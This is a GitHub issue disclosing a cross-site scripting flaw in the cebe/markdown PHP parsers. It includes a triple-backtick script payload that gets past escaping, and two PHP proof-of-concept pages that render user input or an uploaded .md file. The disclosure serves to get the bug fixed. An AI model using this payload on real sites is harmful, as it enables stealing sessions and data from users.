-
Notifications
You must be signed in to change notification settings - Fork 137
Description
Issue
There is a reflected and/or stored xss vulnerability (depending on how the markdown is parsed from user input or from a user uploaded file) from a crafted use of backticks, in all of the following parsers:
GithubMarkdownMarkdownMarkdownExtra
How?
The vulnerability occurs when a user crafts a malicious payload with characters before a 3 backtick wrapped payload, thus bypassing the parser escape. For example, here is an image of the payloads crafted with single, double, and triple backticks:
And here is an image of the payloads rendered:
As you can see when the payload is crafted correctly using three backticks, the parser will render it as a script, this can allow malicious individuals to render scripts within a .md file or within a text box on any platform that is using this as the markdown parser. An example of a ran script:
Impact
Doing a quick search on Github for the code that enables your parser: new \cebe\markdown\. I get this many results:
The vulnerability can be either stored using an .md file (README for example), or reflected if the markdown parser is just parsing the user input text. Malicious attackers can use this method to steal sensitive user data. For example to steal a users cookies:
This can allow serious impacts on not only the end users using the site, but the reputation of the website as well.
Proof of Concept
User input
You can use the following code for a PoC on user entered text:
<?php
/*
* to run this PoC do the following:
* composer require cebe/markdown "~1.2.0"
*
* For proof that the markdown is not sent as a script do:
* `<script>alert(1);</script>`
* this will output the script in a safe way.
*
* To make an alert do:
* L: ```<script>alert(1);</script>```
* this will display a rendered alert
* */
include 'vendor/autoload.php';
function parseData($data) {
$parserGithub = new cebe\markdown\GithubMarkdown();
$parserMarkdown = new cebe\markdown\Markdown();
$parserMarkdownExtra = new cebe\markdown\MarkdownExtra();
return [
"<div class='parsed-github'>".$parserGithub->parse($data)."</div>",
"<div class='parsed-markdown'>".$parserMarkdown->parse($data)."</div>",
"<div class='parsed-markdown-extra'>".$parserMarkdownExtra->parse($data)."</div>"
];
}
if (isset($_GET['poc'])) {
$parsed = parseData($_GET['poc']);
echo "<!doctype html>
<title>PoC</title>
<body>
{$parsed[0]}
{$parsed[1]}
{$parsed[2]}
</body>";
} else {
echo "<!doctype html>
<head>
<title>PoC</title>
</head>
<body>
<form action='#'>
<label for='markdown-poc'>Markdown: </label>
<input id='markdown-poc' type='text' name='poc'>
<input type='submit' name='Submit'>
</form>
</body>";
}
MD file
And you can use the following code for a PoC on text read from an MD file:
<?php
/*
* to use this PoC you will need composer to require the library:
* `composer require cebe/markdown "~1.2.0"`
*
* After this has been done you can create an MD file anywhere on your system,
* to verify that the parser to render the data in a safe way use `<script>alert(1);</script>`,
* or whatever script you decide to use
*
* In order to get the data rendered as javascript:
* L: ```<script>alert();</script>``` or whatever script you decide to render
* */
include 'vendor/autoload.php';
function renderFileContent($fname) {
return file_get_contents($fname);
}
if (isset($_POST['upload'])) {
$tmpName = $_FILES['poc']['tmp_name'];
$contents = renderFileContent($tmpName);
$parserGithub = new cebe\markdown\GithubMarkdown();
$parserMarkdown = new cebe\markdown\Markdown();
$parserMarkdownExtra = new cebe\markdown\MarkdownExtra();
$dataGithub = $parserGithub->parse($contents);
$dataMarkdown = $parserMarkdown->parse($contents);
$dataMarkdownExtra = $parserMarkdownExtra->parse($contents);
$parsed = [
"<div class='parsed-github'>" . $parserGithub->parse($dataGithub) . "</div>",
"<div class='parsed-markdown'>" . $parserMarkdown->parse($dataMarkdown) . "</div>",
"<div class='parsed-markdown-extra'>" . $parserMarkdownExtra->parse($dataMarkdownExtra) . "</div>"
];
echo "<!doctype html>
<head>
<title>PoC</title>
</head>
<body>
{$parsed[0]}
{$parsed[1]}
{$parsed[2]}
</body>";
} else {
echo "<!doctype html>
<head>
<title>PoC</title>
</head>
<body>
<form action='#' method='post' enctype='multipart/form-data'>
<span>Upload file:</span>
<input type='file' name='poc'>
<input type='submit' name='upload' value='Upload'>
</form>
</body>
";
}




